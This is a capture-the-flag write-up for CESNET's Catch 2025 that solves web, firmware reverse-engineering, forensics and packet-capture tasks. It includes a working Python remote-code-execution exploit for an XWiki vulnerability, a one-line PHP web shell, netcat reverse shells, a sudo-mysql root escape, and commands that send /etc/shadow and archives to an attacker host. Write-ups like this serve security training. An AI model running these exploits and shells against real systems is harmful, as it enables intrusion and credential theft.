

Write-up for Catch 2025 by CESNET

Petr Tobiška, suma

November 3rd, 2025

Abstract

This write-up presents (some) solutions of tasks in the Catch 2025 competition organized by the CESNET Association.

General remarks

To solve tasks involving servers in `powergrid.tcc` TLD, the VPN connection has to be established first using OpenVPN with the provided configuration:

```
sudo openvpn --config ctfd_ovpn.ovpn --verb 4
```

Log messages reveal the name server listening at `10.99.0.1` (as usual) and `.tcc` names might be translated to IP addresses by e.g. `dig @10.99.0.1` (both IPv4 as well as IPv6). The easiest way is to add IP address–name pairs into `/etc/hosts`.

1 Falcon series

1.1 Operator

In the first task it is expected that you enumerate URL provided by `http://roostguard.falcon.powergrid.tcc/`. In my case, unfortunately, while using `ffuf` it received HTTP status code `429 Too many requests` and failed to find the URL `/operator` – the key to solve this task. I have solved this task after successful solving task *3 Open the door* and deeply investigated the problem. The solution is to run `ffuf` to accept all HTTP status codes, limit the rate and to grep out the status code `404`:

```
ffuf -rate 100 -mc all -w wordlist.txt \  
-u http://roostguard.falcon.powergrid.tcc/FUZZ | \  
grep -v 'Status: 404'
```

You have to set the rate limit as a trade-off between enumeration speed and amount of *429 codes* which have to be checked again.

Once you received the HTML page
`http://roostguard.falcon.powergrid.tcc/operator`, you have to look into the page source (intentionally stored in one line) and find a commented form's input with the flag as a placeholder:
`FLAG{AjQ6-NgLU-1QT7-XePG}`.

1.2 The vendor

The web `http://thevendor.falcon.powergrid.tcc/` hosts Xwiki application. The Xwiki features REST API and using `http://thevendor.falcon.powergrid.tcc/xwiki/rest` reveals it version *16.0.4*. This version is vulnerable to remote code execution – according to CVE-2025-24893. There are plenty of exploits available on net, however I have not found any to provide me remote shell. I have ended up with `https://jira.xwiki.org/browse/XWIKI-22149` and tweaked it little bit: `xwiki/bin/get/Main/Search` have not worked, so `Main/Search` has to be replaced by `xwiki/bin/get/Main/SolrSearch` and the received response is stored in a file for later analysis.

Further improvement is to change `execute()` to `execute().text` in order to receive the `stdout` of the command in the response. Extracting the core functionality from `poc.py` and with some unwrapping we can have nearly equivalent to a remote shell:

```
1  #!/usr/bin/python3
2
3  import sys
4  import re
5  import urllib.request
6  import urllib.parse
7
8  url = "http://thevendor.falcon.powergrid.tcc/xwiki/bin/get/Main/" + \
9      "SolrSearch?media=rss&text="
10
11 def wrap_str(s):
12     return 'bytes(%s).decode()' % tuple(s.encode()). \
13         __str__().replace(' ', '')
14
15 def wrap_as_bytes(s):
16     return 'bytes(%s)' % tuple(s.encode()).__str__().replace(' ', '')
17
18 cmd = " ".join(sys.argv[1:])
19 print("[+] CMD: ", cmd)
20
21 qpars = urllib.parse.quote_plus(
22     '{{async async=false}}{{groovy}}' +
23     cmd +
24     '".execute().text{{/groovy}}{{/async}}')
25
```

```

26 req = urllib.request.Request(url + qpars)
27 print("[+] Crafted request URL: ", qpars)
28
29 print("[+] Sending crafted request...")
30 resp = urllib.request.urlopen(req)
31 contents = resp.read()
32
33 re_stdout = re.compile(rb'<title>RSS feed for search on' +
34                        rb' \[(.*)\]</title>')
35 m = re_stdout.search(contents)
36 output = m.group(1).replace(b'<br/>', b'\n').replace(b'&nbsp;', b' ')
37 output = output.replace(b'&', b'&').replace(b'>', b'>')
38 output = output.replace(b'<', b'<').replace(b'&#123;', b'{')
39 output = output.replace(b'&#124;', b'|').replace(b'&#125;', b'}')
40 output = output.replace(b'<p><p>', b'\n\n')
41 output = output.replace(b'<del>', b'-x').replace(b'</del>', b'-x')
42 print("[+] Output:\n ", output.decode())
43 with open('output', 'wb') as fp:
44     fp.write(output)

```

Using the script as e.g.

```
./poc1.py ps axf
```

we identify the java process running Xwiki and investigate its environment as *usual suspects*

```
./poc1.py cat /proc/<java pid>/environ
```

we find the variable FLAG yielding

```
FLAG{gwNd-OKlr-lsMW-YgZU}.
```

1.3 Open the door

The chapter haiku aims our focus to guess login to **roostguard** web. For a challenge – 12 base64 characters – we have to reply a correct passcode. A moving laser gun indicates to look for a microcontroller firmware. Investigation of **th vendor** reveals an interesting file

/data/firmware/roostguard-firmware-0.9.bin. To transfer a binary file, we can employ xxd:

```
./poc1.py xxd -p /data/firmware/roostguard-firmware-0.9.bin
```

and recover it on our machine

```
xxd -r -p output > roostguard-firmware-0.9.bin
```

To confirm the integrity of the transferred file we may calculate MD5 checksum on both files.

```
./poc1.py md5sum /data/firmware/roostguard-firmware-0.9.bin
md5sum roostguard-firmware-0.9.bin
0bd50c3947403b054d8e0abd65c618b9 roostguard-firmware-0.9.bin
```

Aside of the firmware there are three images of the *roostguard*, clearly showing Arduino UNO. Fitted with Atmel AVR instruction set, ATmega 328P datasheet, AVR-GCC documentation we can use `avr-objdump` to display headers and symbols, disassembly `.text` section and dump `.data` section (`-C` option demangle C++):

```
avr-objdump -d -C roostguard-firmware-0.9.bin > \
    roostguard-firmware-0.9.disas
avr-objdump -x -C roostguard-firmware-0.9.bin > \
    roostguard-firmware-0.9.x
avr-objdump -s roostguard-firmware-0.9.bin
```

(plus manually extract section `.data`). Fortunately, the firmware ELF is neither stripped nor obfuscated. The function `processHOTPCommand()` seems to be a good candidate, we can decompile it:

```
const char[] hotpSecretPadding = "abcdefghijklmnop";
char hotpKeyBuffer[0x25];
char commandBuffer[0x15];
unsigned char commandLen;

void processHOTPCommand() {
    char outBuf[7];
    strncpy(hotpKeyBuffer, commandBuffer, 0x14);
    strncpy(hotpKeyBuffer + commandLen, hotpSecretPadding, 0x10);
    Key key = Key(hotpKeyBuffer, strlen(hotpKeyBuffer));
    SimpleHOTP shotp = SimpleHOTP(Key, 0);
    uint32_t res = shotp.generateHOTP();
    snprintf(outBuf, 7, "%06lu", res);
    // display on LCD and send over serial
}
```

The classes `Key` and `SimpleHOTP` are part of Arduino ecosystem¹ and with some tweaking² we can use them to create a challenge-passcode program. Let us clone the Github repository, create a reduced header file

```

1  #include <cstdint>
2  #include <cstddef>
3  #include <cstdlib>

```

and a simple program mimicing `processHOTPCommand`

¹<https://github.com/jlusPrivat/SimpleHOTP>

²remove calling `random()` as it has different signature than in `libc`

```

1  #include <stdio.h>
2  #include <stdlib.h>
3  #include <string.h>
4  #include "SimpleHOTP.h"
5
6  #define prefix "HOTP"
7  #define secPadding "abcdefghijklmnop"
8  #define len_prefix 4
9  #define len_pad 16
10 #define len_chal 12
11
12 int main(int argc, char **argv) {
13     char buf[len_prefix+len_chal+len_pad+1];
14     uint32_t res;
15
16     if (argc != 2 || strlen(argv[1]) != len_chal) {
17         fprintf(stderr, "Usage: %s <%d b64 chars challenge>",
18             argv[0], len_chal);
19         exit(1); }
20
21     strncpy(buf, prefix, len_prefix);
22     strncpy(buf + len_prefix, argv[1], len_chal);
23     strncpy(buf + len_prefix+len_chal, "abcdefghijklmnop", len_pad);
24     buf[len_prefix + len_chal + len_pad] = '\0';
25
26     Key key((uint8_t*)buf, len_prefix + len_chal + len_pad);
27
28     SimpleHOTP shotp(key, 0);
29     res = shotp.generateHOTP();
30
31     printf("response: %06u\n", res);
32     return 0;
33 }

```

and compile it with

```

DIR_SHOTP=SimpleHOTP/src
g++ -Wall -Wno-stringop-truncation \
    -o chal_resp -I$DIR_SHOTP -I. chal_resp.c \
    $DIR_SHOTP/Key.cpp $DIR_SHOTP/SimpleHOTP.cpp \
    $DIR_SHOTP/SimpleHMAC.cpp $DIR_SHOTP/SimpleSHA1.cpp

```

Now simply run `./chal_resp <challenge>` and use the response to login, displaying `FLAG{ui6l-waQb-o3QH-69Y4}`.

1.4 Is not free

The name of the chapter, haiku and the link

<http://thevendor.falcon.powergrid.tcc/#firmware> points as to look for

something related to *licence* inside Roostguard's firmware. The five functions *licence1* to *licence5* inside *roostguard-firmware-0.9.bin* are called from *processVERSCCommand()*, so let us decompile it:

```

1  _____ processVERSCCommand.c _____
2  const char licenceNumber[] =
3      "\x5a\x15\x33\x9d\xe0\xba\x71\x21"
4      "\xcb\x05\x6a\x8a\xca\x36\xb2\x99"
5      "\x0a\xfb\x23\x9a\x17\xc9\x57\x29\x96";
6  const char validator[] =
7      "54687265654c6974746c654269726473";
8  char outText[0x11];
9
10 void processVERSCCommand() {
11     char *buf1, *buf2;
12     uint32_t res;
13     buf1 = malloc(0x1a);
14     memcpy(buf1, licenceNumber, 0x19);
15     buf1[0x19] = '\0';
16     buf2 = malloc(0x21);
17     licence2(validator, buf2, 0x20);
18     buf2[0x20] = '\0';
19     licence3(buf2, 0x20);
20     licence4(buf1, 0x19);
21     res = licence5(buf1, 0x19);
22     free(buf1);
23     free(buf2);
24     snprintf(outText, 0x10, "%08lx", res);
25     // display >VERS + outText on LCD + write to neoSerial
26 }

```

The function *licence2* unhexlify *validator* into the key *ThreeLittleBirds* (with help of *licence1* converting one hex character into a nibble).

The function *licence3* shuffle an identity permutation *S* of numbers 0 to 255 according to the key:

```

1  _____ licence3.c _____
2  unsigned char S[0x100];
3
4  void licence3(const unsigned char *buf, unsigned len) {
5      int i;
6      unsigned char j, tmp;
7
8      for (i = 0; i < 0x100; i++)
9          S[i] = i;
10
11     j = 0;
12     for (i = 0; i < 0x100; i++) {
13         tmp = S[i];
14         j += tmp + buf[i % len];
15         S[i] = S[j];
16     }
17 }

```

```

15     S[j] = tmp;
16     }
17 }

```

The function `licence4` further shuffle the permutation `S` and generates a byte stream which is XORed with `buf1` (in-place).

```

----- licence4.c -----
1  unsigned char S[0x100];
2
3  void licence4(unsigned char *buf, unsigned len) {
4      int k;
5      unsigned char i, j, tmp;
6      i = j = 0;
7      for (k = 0; i < len; k++) {
8          j += S[++i];
9          tmp = S[i];
10         S[i] = S[j];
11         S[j] = tmp;
12
13         buf[k] ^= S[(S[i] + S[j]) & 0xff];
14     }
15 }

```

Finally, the modified `buf1` is checksummed in the function `licence5` into 32-bit number, displayed as hex on LCD.

```

----- licence5.c -----
1  #define CONST 0xedb88320
2
3  uint32_t licence5(const unsigned char *buf, unsigned len) {
4      uint32_t res = 0xffffffff;
5      int i, j;
6      for (i = 0; i < len; i++) {
7          res ^= buf[i];
8          for (j = 0; j < 8; j++)
9              if (res & 1) {
10                 res >>= 1;
11                 res ^= CONST; }
12             else
13                 res >>= 1;
14     }
15     return res ^ 0xffffffff;
16 }

```

We can recognize CRC32 in `licence5` (IEEE 802.3 variant, used in ZIP files, Ethernet, PNG images, `0xedb88320` being reversed form of `0x04C11DB7`). It was more difficult (at least for me) to recognize `licence3` as the RC4 key scheduling algorithm and `licence4` as the RC4 pseudo-random generation algorithm and XORed with a keystream.

The length of buf1 is the same as the length of the flag, putting everything together into a python script

```
----- vers.py -----
1
2 encflag = bytes.fromhex('5a15339de0ba7121cb056a8aca36b299' +
3                          '0afb239a17c9572996')
4 key = b'ThreeLittleBirds'
5 S = list(range(0x100))
6
7 def licence3(key):
8     size = len(key)
9     j = 0;
10    for i in range(0x100):
11        j = (j + S[i] + key[i % size]) % 0x100
12        S[i], S[j] = S[j], S[i]
13
14 def licence4(encflag):
15     flag = bytearray(encflag)
16     j = i = 0
17     size = len(flag)
18     for k in range(size):
19         i = (i+1) % 0x100
20         j = (j+S[i]) % 0x100
21         S[i], S[j] = S[j], S[i]
22         flag[k] ^= S[(S[j] + S[i]) % 0x100]
23     return flag
24
25 def licence5(data):
26     CRC32_POLY = 0xedb88320
27     crc = 0xffffffff
28     for byte in data:
29         crc ^= byte
30         for _ in range(8):
31             if crc & 1:
32                 crc >>= 1
33                 crc ^= CRC32_POLY
34             else:
35                 crc >>= 1
36     return crc ^ 0xffffffff
37
38 if __name__ == '__main__':
39     S[:] = list(range(0x100))
40     licence3(key)
41     flag = licence4(encflag)
42     crc = licence5(flag)
43     print(f"repr(flag) = {flag.__repr__()}")
44     print(f"crc = 0x{crc:08x}")
```

with the output:


```
repr(flag) = bytearray(b'FLAG{KfcP-HeZQ-luKY-mIxB}')
crc = 0xa6dbacc5
```

showing the confirming checksum and FLAG{KfcP-HeZQ-luKY-mIxB}.

1.5 Hits

Further investigation of the firmware reveals commands **ZERO**, **TURR**, **AIMM**, **LASE**, and **DEMO**, which are responsible for 2D movement of a lasergun and switching it on/off. They are not accepted by

<http://roostguard.falcon.powergrid.tcc/command> (Authorization required).

On the other hand, the form `/operator` provides the command **FIRE0000**. It could be guessed that it performs aiming and laser shoot atomically. By studying disassembly we find that `processAIMMCommand` reads 4 hexadecimal digits and interpret them as two signed numbers. The **FIRE** command displays a string which can be recognized as a beginning of the cookie - running wireshark with the display filter `http.cookie` confirms our shoots easily. By trial and error we identify that the first number corresponds to horizontal movement (negative left, positive right) and the second to the vertical (positive up, negative down).

The *FeatherScan* at <http://roostguard.falcon.powergrid.tcc/radar> shows us the target location. One square has the amplitude 10 horizontally and about 6 to 12 vertically, with zeros in the middle of the Greek-Letters-table (i.e. the most left column has the aiming coordinates 0xec, the second column 0xf6, the central 0, the right columns 0x0a and 0x14, respectively; the rows has coordinates 0x0c, 0x06, 0, 0xf6, 0xec from the top to bottom).

I found helpful to slow down playing speed to 0.5. Reset video playback position to the actual time and then fire - waiting for my session cookie being displayed on LCD - in order to correct aiming. After three successful hits, `/radar` shows FLAG{KfcP-HeZQ-luKY-mIxB}.

2 Threatening message

The file `image.plaso` to investigate aggregates forensic artifacts in a *plaso* container. We install *plaso* framework with *pip* (in a virtual environment):

```
python3 -m venv --system-site-packages --symlinks penv
source penv/bin/activate
pip install plaso
```

The *plaso* command `pinfo image.plaso` shows four parsers: `bodyfile`, `apache_access`, `syslog` and `syslog_traditional`. The `bodyfile` contains timestamps (atime, ctime, mtime and birth time) of files and directories of an investigated filesystem, sorted increasingly by time. The `syslog_traditional` is a netflow dump - it comprises of summaries of TCP connections (endpoints, duration, number of packets) passing through a router. Except for `syslog`, all timestamps has no fraction of seconds, the order of events within one second must be deduced from context.

Looking at events at the time 2025-08-25T07:15:35 we may join the Apache log event with **atime** events and four netflow events, concluding that Apache is running as a proxy server on IP 10.99.25.25 (port 443) (and IPv6 2001:db8:7cc::25:25), passing requests to the application server at IPv6 2001:db8:7cc::25:252 (port 9000) and that the **bodyfile** was created from the filesystem of the application server.

Lets extract pathological needles from a haystack of regular events and build a timeline (let us shorten IPv4 10.99.25.x to 25.x and IPv6 2001:db8:7cc::25:x to 25:x):

2025-08-25T08:06:21 SSH login from 25:11 to powerguy@25:252 with password authentication. **sudo su** and creation of **/etc/cron.d/powercheck** and **/usr/local/bin/power_check.sh**. Many files in **/var/www/app/var/cache/prod/pools/system/dQflJBos-k/**.

We may guess that an update of the application server was deployed (perhaps backdoored). The script **power_check.sh** is run every five minutes by cron.

2025-08-25T10:06:16 SSH login from 25.22 to powergrid@25.252 with password authentication. **sudo**. Change of passwords for powergrid and powerguy. SSH password authentication disabled (in **sshd_config**) and **sshd** restarted. The user **powerguy** locked. Created **authorized_keys** and **known_hosts**.

The employee with **powerguy** login was fired and the account and the access was blocked by the user **powergrid**. SSH password authentication was replaced by publickey.

2025-08-25T10:10:01 the script **power_check.sh** is running and applying hotfix. The user **doublepower** is created and added to **sudo** and **shadow** groups.

The employee obviously anticipated his/her dismissing. Intention of **power_check.sh** was to create a new admin account when **powerguy** was blocked.

2025-08-25T13:13:00 A bunch of HTTP requests

GET **/get_user_by__iid?q=<url encoded cmd>** to Apache, where commands were

```
whoami
cat /etc/passwd
curl -h
curl http://[2001:db8:7cc::25:28]/my/backup2 -o /tmp/backup.sh
```

The employee used the backdoor installed morning (before get fired), we can identify his/her machine 25:28 and download **backup.sh** with the same **curl** command:

```

1  #!/bin/bash
2
3  mkdir -p /home/doublepower/.ssh
4  chown doublepower:doublepower /home/doublepower/.ssh
5  chmod 700 /home/doublepower/.ssh
6
7  curl http://[2001:db8:7cc::25:28]/my/authorized_keys \
8      -o /home/doublepower/.ssh/authorized_keys
9  chown doublepower:doublepower /home/doublepower/.ssh/authorized_keys
10 chmod 600 /home/doublepower/.ssh/authorized_keys

```

2025-08-25T13:15:01 The script `power_check.sh` running from cron detected `/tmp/backup.sh` and run it (backup hotfixed).

SSH authentication with publickey is ready, we can download `authorized_keys` by `curl` and read the employee username: `doug.badman`.

2025-08-25T13:30:26 SSH login from 25:28 to doublepower@25:252 with publickey authentication.

Encryption and exfiltration can start now.

2025-08-25T13:30:28 The file `/home/doublepower/sc` downloaded from the `doug.badman` machine 25:28, perhaps by `curl`. Netflow had the size about 650kB and the file has `x` permission – it suggests that it might be a binary used for encryption.

2025-08-25T13:30:32 The file `/home/doublepower/enc` downloaded by HTTP from 25:28.

2025-08-25T13:30:34 `doug.badman` runs

```

sudo /home/doublepower/sc encrypt /srv/shared /home/doublepower/enc.
Files in /srv/shared are being encrypted (i.e. replaced by its encrypted
version with .enc suffix):
/srv/shared/grid-ops/field_notebook542.md.enc
/srv/shared/grid-ops/repair_log.md.enc
/srv/shared/other/powerplant_10_yr_stats.md.enc
/srv/shared/other/powerplant_selfdestruction.csv.enc
/srv/shared/psy-ops/morale_boosting.md.enc
/srv/shared/psy-ops/pill.jpg.enc
/srv/shared/sci-ops/flabvolt.md.enc
/srv/shared/sci-ops/seismovolt.md.enc

```

2025-08-25T13:30:38 The file `/home/doublepower/rsa` downloaded by HTTP from 25:28.

2025-08-25T13:30:44 doug.badman runs two commands

```
sudo /usr/bin/tar -czf /home/doublepower/shared.tar.gz /srv/shared
sudo /usr/bin/chown doublepower:doublepower /home/doublepower/shared.tar.gz
```

2025-08-25T13:30:51 doug.badman uploads `shared.tar.gz` to his/her another machine 25:29 using SSH with `/home/doublepower/rsa` as a private key (it has MD5 checksum `52b3bf73e3d9b52bca61196cbdfce081`).

2025-08-25T13:30:58 The file `/home/doublepower/read.me` downloaded by HTTP from 25:28 and consequently copied (using `sudo`) to `/home/powergrid/` and to `/srv/shared/`.

The file `read.me` is identical to the `threatening_message.txt` provided in the task (according to MD5 checksum).

The timeline confirms the breach, in order to recover encrypted files we will investigate doug.badman machines 25:28 (HTTP server for downloading) and 25:29 (SSH server with uploaded files).

`ffuf` discovers five directories: `current`, `keys`, `my`, `ssh`, and `tools`. There are `authorized_keys` and `backup2` in `my` (found by `ffuf`) and `sc` in `tools`. From `/ssh/` we can download 16 OpenSSH key pairs. By calculating MD5 checksums of private keys we identify that the key `id_doublepower_11` was used for SCP upload. The key has label `11@fearme.tcc` and `gentleforce` reveals that the username is simply `11`. We download encrypted files

```
scp -i ssh/id_doublepower_11 11@10.99.25.29:shared.tar.gz
```

In order to decrypt untarred files we have to analyze `tools/sc` binary. It is the best practice to run it only in a controlled environment (and we've been warned by a hint that we may face the real malware!). Never ever run it on your workstation directly!

I must confess at the moment, I was too lazy and tired to start virtualbox and I have run it directly on my machine. But pssst, I promise I will not do it again.

Fortunately, `tools/sc` can encrypt as well as decrypt, we just need to provide the correct key. A bunch of PEM encoded keys might be downloaded from `/keys/` and with help of a simple snippet we try them one by one

```
> decrypt.log
for key in keys/*pem; do
    echo $key
    echo $key >> decrypt.log
    tools/sc decrypt 'pwd'/srv/shared/ $key 2>> decrypt.log
    echo "-----" >> decrypt.log
done
```

It found that `key_140261531202.pem` is our friend.

Browsing decrypted `/srv/shared/` the file `other/powerplant_selfdestruction.csv` seems to be interesting. We may

notice that *Horizon Nuclear* differs in self-destruction left operator from other facilities. Concatenating left and right SD operator we got QkFEQUZMQUd7bUt1ay1FdGJVLVNmUmEtUWxKQ30= and applying Base64 decode reveals BADAFLAG{mKek-EtbU-SfRa-Q1JC}.
FLAG{mKek-EtbU-SfRa-Q1JC}.

3 Suspicious communication

In the provided PCAP we can easily identify an HTTP(S) server running on IPv4 10.99.25.10 and IPv6 2001:db8:7cc::254:7 (they will be shorten as 25.101 and 25:101, respectively; or simply *web*) and an attacker from addresses 10.99.254.2 and 2001:db8:7cc::254:7 (254.2 and 254:7 in short) – he/she is TCP port scanning, URI enumerating. The Wireshark filter `dns` reveals DNS A/AAA records *mallory* for these addresses (I love omen nomen!).

The filter

```
http.request.uri and http.response.code != 404
```

allows us to sieve interesting URLs on *web* among the many *404 Not found* responses.

We can see that URL `GET /app` is repeating many times. The filter

```
http.request.uri == "/app" and http.authbasic
```

and adding a column `http.authbasic` to the packet list view discovers that *mallory* was bruteforcing user and password for Basic HTTP Authorization until he/she succeeded with `alice:tester`.

In the next step (TCP stream 11675), *mallory* uses `/filemanager.php`³ to upload a simple 47B long script

```
1  <?php if($_POST['c']){system($_POST['c']);} ?>
```

allowing remote code execution.

The story continues by execution of `whoami` (TCP stream 11676, with the result `www-data`) and starting a reverse shell `nc -e /bin/sh mallory 42121` (TCP stream 11677). Communication is in TCP stream 11678, after checking the system, *mallory* backs HTML directory up

```
tar -zcf /tmp/html.tgz /var/www/html
cat /tmp/html.tgz | nc mallory 42122
```

and he/she checks possibility of `sudo`, finding interesting

```
sudo -l
```

User `www-data` may run the following commands on `2c1c649ff17d`:

```
(root) NOPASSWD: /usr/bin/mysql*
```

³from <https://github.com/alexantr/filemanager>

Invitation to the reverse shell with root permission is accepted:

```
sudo /usr/bin/mysql -e '\! nc -e /bin/sh mallory 42123'
```

The communication is stored in TCP stream 11682 (or may be filtered with `tcp.port == 42123`) and it contains (shortened):

```
tar zcf /tmp/all.tgz /etc /root /home
curl -k -s https://mallory:42120/pincode/'hostname -f' > /tmp/secret
ls -alh /tmp
-rw-r--r-- 1 root      root      17M Jul 16 08:07 all.tgz
-rw-r--r-- 1 root      root        6 Jul 16 08:07 secret
```

```
cat /etc/shadow | \
    openssl enc -aes-256-cbc -e -a -salt -pbkdf2 \
        -iter 10 -pass file:/tmp/secret | nc mallory 42124
cat /tmp/all.tgz | \
    openssl enc -aes-256-cbc -e -a -salt -pbkdf2 \
        -iter 10 -pass file:/tmp/secret | nc mallory 42125
```

mallory downloaded pincode from his/her computer via HTTPS (for us inaccessible) and used it as a password for encryption of `shadow` and `all.tgz`. Encrypted content may be extracted from PCAP as TCP streams 11688 and 11689, respectively. I have not found how to get `secret`, but from listing, it is only 6B long and `pincode` suggests that it might be composed of digits only. It is a space of a million combinations and it is feasible to brute-force it. We employ a simple script for decryption

```
> decrypt.log
for i in `seq 0 999999`; do
    printf '%06d' $i > secret
    echo -n "==== $i =====" >> decrypt.log
    openssl enc -in shadow.enc -aes-256-cbc -d -a -salt -pbkdf2 \
        -iter 10 -pass file:secret > shadow.dec \
        2>> decrypt.log || continue
    mv shadow.dec `printf "shd/shadow_%06d" $i`
done
```

We are decrypting `shadow` as it is a short text file – it is faster than 16MB `tgz` and it may be easily check for correctness. In a waste number of `pincodes`, openssl fails with `bad decrypt` error, in a few cases (about 1 in 250), openssl decrypts it, but the content is non-sense (false positive). On my computer, I expected about 100 minutes of checking, and occasionally check decrypted files with `file shd/*` and in about 10 minutes I got

```
shadow_101525: ASCII text
```

The visual expection of `shadow_101525` confirms that the content corresponds to a `shadow` file and so the pincode is correct.

The `shadow` file contains the passwords of root and webmaster, but encrypted by `yescript` – without any hint it is not feasible to brute-force.

We use the same decryption procedure to `all.tgz`

```
echo -n 101525 > secret
openssl enc -in all.tgz.enc -aes-256-cbc -d -a -salt \
    -pbkdf2 -iter 10 -pass file:secret > all.tgz
```

and inspect the content. The promising file is `etc/apache2/.htpasswd`. The passwords are hashed by MD5, e.g. `admin:1h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f..`. We extract the hash and run `hashcat`:

```
echo '$1$h7PCtM2Q$dE4Nxy0QaLT3kzyFoz54f..' > admin_hash
hashcat -m 500 admin_hash rockyou.txt
```

and after checking 79% of keyspace we got the admin password `Bananas9`

Let us look at the web content, as it appeared in TCP stream 11681 (equivalently `tcp.port == 42122`). We extract the payload (as raw) into `html.tgz` and untar it. The most interesting is

```

                                     backup.php
1  <?php
2  require 'auth.php';
3  require_auth();
4
5  if (!is_admin()) {
6      http_response_code(403);
7      die('Access denied. Only admin can create backup.');
```

```

8  }
9
10 $flagPath = "/secrets/flag.txt";
11 $password = current_pass();
12
13 if (!file_exists($flagPath)) {
14     die("Flag file not found.");
15 }
16
17 $flagData = file_get_contents($flagPath);
18
19 $iv = substr(hash('sha256', 'iv' . $password), 0, 16);
20 $key = hash('sha256', $password, true);
21
22 $encrypted = openssl_encrypt($flagData, 'aes-256-cbc', $key, 0, $iv);
23 if ($encrypted === false) {
24     die("Encryption failed.");
25 }
26
27 // Nabídne soubor k downloadu
28 header('Content-Type: application/octet-stream');
29 header('Content-Disposition: attachment; filename="backup.enc"');
30 header('Content-Length: ' . strlen($encrypted));
```

```

31
32 echo $encrypted;
33 exit;

```

When the script is called by `admin`, it returns `/secrets/flag.txt` encrypted by the key derived from `admin`'s password. So we have to find `GET /app/backup.php` in PCAP. Unfortunately, I cannot see it in HTTP:

```

tshark -r suspicious_communication.pcap \
-T fields -e http.request.uri \
"tcp.port == 80" | sort | uniq > req_uri

```

Deeper revisiting all evidence acquired up to now, an interesting piece is found in `etc/apache2/sites-enabled/tcc-ssl.conf`:

```
SSLCipherSuite RSA+AES
```

There is no forward secrecy and having the server key

```
SSLCertificateKeyFile /etc/ssl/private/ssl-cert-snakeoil.key
```

we can instruct Wireshark to decrypt SSL traffic: Edit / Preferences / Protocols / TLS / RSA key list and add a record with IP address 10.99.25.101, port 443, protocol HTTP, and key file

```
all/etc/ssl/private/ssl-cert-snakeoil.key
```

Our eyes will open and with the filter `http.request.uri == "/app/backup.php"` we found a response to `GET /app/backup.php`:

```
a0I32ayLIofLCXLWZtzmdY077Q1jcYUQof7GFBb0WHY=
```

We store it in `backup.enc`.

The last task is to construct decrypt function by studying `/app/auth.php` and `/app/backup.php`:

```

                                decrypt_flag.php
1  <?php
2
3  $encflag = file_get_contents('backup.enc');
4  $password = 'Bananas9';
5  $iv = substr(hash('sha256', 'iv' . $password), 0, 16);
6  $key = hash('sha256', $password, true);
7
8  $decrypted = openssl_decrypt($encflag, 'aes-256-cbc',
9                               $key, OPENSSL_RAW_DATA, $iv);
10
11 if ($decrypted === false) {
12     die("Decryption failed.");
13 }
14
15 echo $decrypted;
16 exit;

```


We call the script as `php decrypt_flag.php` and it rewards us with
`FLAG{kyAi-J2NA-n6nE-ZIX6}`.